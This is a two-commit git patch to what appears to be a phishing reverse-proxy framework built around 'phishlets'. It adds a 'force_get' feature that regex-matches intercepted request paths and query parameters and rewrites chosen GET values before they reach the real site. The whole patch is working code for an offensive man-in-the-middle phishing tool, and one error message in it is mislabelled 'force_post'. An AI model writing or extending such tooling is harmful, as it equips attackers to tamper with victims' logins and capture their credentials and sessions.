From 1fdd681366ad3935b4ae634f4974af99d910fc73 Mon Sep 17 00:00:00 2001 From: callightmn <67361113+callightmn@users.noreply.github.com> Date: Tue, 28 Jan 2025 00:00:08 +0100 Subject: [PATCH 1/2] added ability to force get params (`type: "get"` in `force_post`) --- core/http_proxy.go | 44 ++++++++++++++++++++++++++++++++++++++++++++ core/phishlet.go | 4 ++-- 2 files changed, 46 insertions(+), 2 deletions(-) diff --git a/core/http_proxy.go b/core/http_proxy.go index 88a024709..3c179516e 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -651,6 +651,50 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } req.URL.RawQuery = qs.Encode() + + // force get + for _, fp := range pl.forcePost { + if fp.tp == "get" { + if fp.path.MatchString(req.URL.Path) { + log.Debug("force_post: url matched: %s", req.URL.Path) + ok_search := false + if len(fp.search) > 0 { + k_matched := len(fp.search) + for _, fp_s := range fp.search { + for gp := range qs { + if fp_s.key.MatchString(gp) { + for _, v := range qs[gp] { + if fp_s.search.MatchString(v) { + if k_matched > 0 { + k_matched -= 1 + } + break + } + } + } + } + } + if k_matched == 0 { + ok_search = true + } + } else { + ok_search = true + } + if ok_search { + for _, fp_f := range fp.force { + for gp := range qs { + if fp_f.key == gp { + for i, _ := range qs[gp] { + qs[gp][i] = fp_f.value + } + } + } + } + } + req.URL.RawQuery = qs.Encode() + } + } + } } } diff --git a/core/phishlet.go b/core/phishlet.go index 7d20c4e0b..25398d7d3 100644 --- a/core/phishlet.go +++ b/core/phishlet.go @@ -699,8 +699,8 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri if op.Path == nil || *op.Path == "" { return fmt.Errorf("force_post: missing or empty `path` field") } - if op.Type == nil || *op.Type != "post" { - return fmt.Errorf("force_post: unknown type - only 'post' is currently supported") + if op.Type == nil || (*op.Type != "post" && *op.Type != "get") { + return fmt.Errorf("force_post: unknown type - only 'post' and 'get' are currently supported") } if op.Force == nil || len(*op.Force) == 0 { return fmt.Errorf("force_post: missing or empty `force` field") From decd3fb61e65a96ce0d13106fac6dadccf4c47fa Mon Sep 17 00:00:00 2001 From: callightmn <67361113+callightmn@users.noreply.github.com> Date: Thu, 13 Feb 2025 23:17:22 +0100 Subject: [PATCH 2/2] replaced `type: "get"` in `force_post` by new `force_get` section --- core/http_proxy.go | 6 +-- core/phishlet.go | 103 ++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 104 insertions(+), 5 deletions(-) diff --git a/core/http_proxy.go b/core/http_proxy.go index 3c179516e..79487a6ae 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -653,10 +653,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da req.URL.RawQuery = qs.Encode() // force get - for _, fp := range pl.forcePost { - if fp.tp == "get" { + for _, fp := range pl.forceGet { + if fp.tp == "query" { if fp.path.MatchString(req.URL.Path) { - log.Debug("force_post: url matched: %s", req.URL.Path) + log.Debug("force_get: url matched: %s", req.URL.Path) ok_search := false if len(fp.search) > 0 { k_matched := len(fp.search) diff --git a/core/phishlet.go b/core/phishlet.go index 25398d7d3..ab346a6ed 100644 --- a/core/phishlet.go +++ b/core/phishlet.go @@ -84,6 +84,23 @@ type ForcePost struct { tp string `mapstructure:"type"` } +type ForceGetSearch struct { + key *regexp.Regexp `mapstructure:"key"` + search *regexp.Regexp `mapstructure:"search"` +} + +type ForceGetForce struct { + key string `mapstructure:"key"` + value string `mapstructure:"value"` +} + +type ForceGet struct { + path *regexp.Regexp `mapstructure:"path"` + search []ForceGetSearch `mapstructure:"search"` + force []ForceGetForce `mapstructure:"force"` + tp string `mapstructure:"type"` +} + type LoginUrl struct { domain string `mapstructure:"domain"` path string `mapstructure:"path"` @@ -125,6 +142,7 @@ type Phishlet struct { landing_path []string cfg *Config custom []PostField + forceGet []ForceGet forcePost []ForcePost login LoginUrl js_inject []JsInject @@ -198,6 +216,23 @@ type ConfigForcePost struct { Type *string `mapstructure:"type"` } +type ConfigForceGetSearch struct { + Key *string `mapstructure:"key"` + Search *string `mapstructure:"search"` +} + +type ConfigForceGetForce struct { + Key *string `mapstructure:"key"` + Value *string `mapstructure:"value"` +} + +type ConfigForceGet struct { + Path *string `mapstructure:"path"` + Search *[]ConfigForceGetSearch `mapstructure:"search"` + Force *[]ConfigForceGetForce `mapstructure:"force"` + Type *string `mapstructure:"type"` +} + type ConfigLogin struct { Domain *string `mapstructure:"domain"` Path *string `mapstructure:"path"` @@ -227,6 +262,7 @@ type ConfigPhishlet struct { AuthTokens *[]ConfigAuthToken `mapstructure:"auth_tokens"` AuthUrls []string `mapstructure:"auth_urls"` Credentials *ConfigCredentials `mapstructure:"credentials"` + ForceGets *[]ConfigForceGet `mapstructure:"force_get"` ForcePosts *[]ConfigForcePost `mapstructure:"force_post"` LandingPath *[]string `mapstructure:"landing_path"` LoginItem *ConfigLogin `mapstructure:"login"` @@ -693,14 +729,77 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri } } + if fp.ForceGets != nil { + for _, op := range *fp.ForceGets { + var err error + if op.Path == nil || *op.Path == "" { + return fmt.Errorf("force_post: missing or empty `path` field") + } + tp := "query" + if (op.Type != nil) { + tp = *op.Type + } + if (tp != "query") { + return fmt.Errorf("force_get: unknown type - only 'query' is currently supported") + } + if op.Force == nil || len(*op.Force) == 0 { + return fmt.Errorf("force_get: missing or empty `force` field") + } + + fpf := ForceGet{} + fpf.path, err = regexp.Compile(p.paramVal(*op.Path)) + if err != nil { + return err + } + fpf.tp = tp + + if op.Search != nil { + for _, op_s := range *op.Search { + if op_s.Key == nil { + return fmt.Errorf("force_get: missing search `key` field") + } + if op_s.Search == nil { + return fmt.Errorf("force_get: missing search `search` field") + } + + f_s := ForceGetSearch{} + f_s.key, err = regexp.Compile(p.paramVal(*op_s.Key)) + if err != nil { + return err + } + f_s.search, err = regexp.Compile(p.paramVal(*op_s.Search)) + if err != nil { + return err + } + fpf.search = append(fpf.search, f_s) + } + } + for _, op_f := range *op.Force { + if op_f.Key == nil { + return fmt.Errorf("force_get: missing force `key` field") + } + if op_f.Value == nil { + return fmt.Errorf("force_get: missing force `value` field") + } + + f_f := ForceGetForce{ + key: p.paramVal(*op_f.Key), + value: p.paramVal(*op_f.Value), + } + fpf.force = append(fpf.force, f_f) + } + p.forceGet = append(p.forceGet, fpf) + } + } + if fp.ForcePosts != nil { for _, op := range *fp.ForcePosts { var err error if op.Path == nil || *op.Path == "" { return fmt.Errorf("force_post: missing or empty `path` field") } - if op.Type == nil || (*op.Type != "post" && *op.Type != "get") { - return fmt.Errorf("force_post: unknown type - only 'post' and 'get' are currently supported") + if op.Type == nil || (*op.Type != "post") { + return fmt.Errorf("force_post: unknown type - only 'post' is currently supported") } if op.Force == nil || len(*op.Force) == 0 { return fmt.Errorf("force_post: missing or empty `force` field")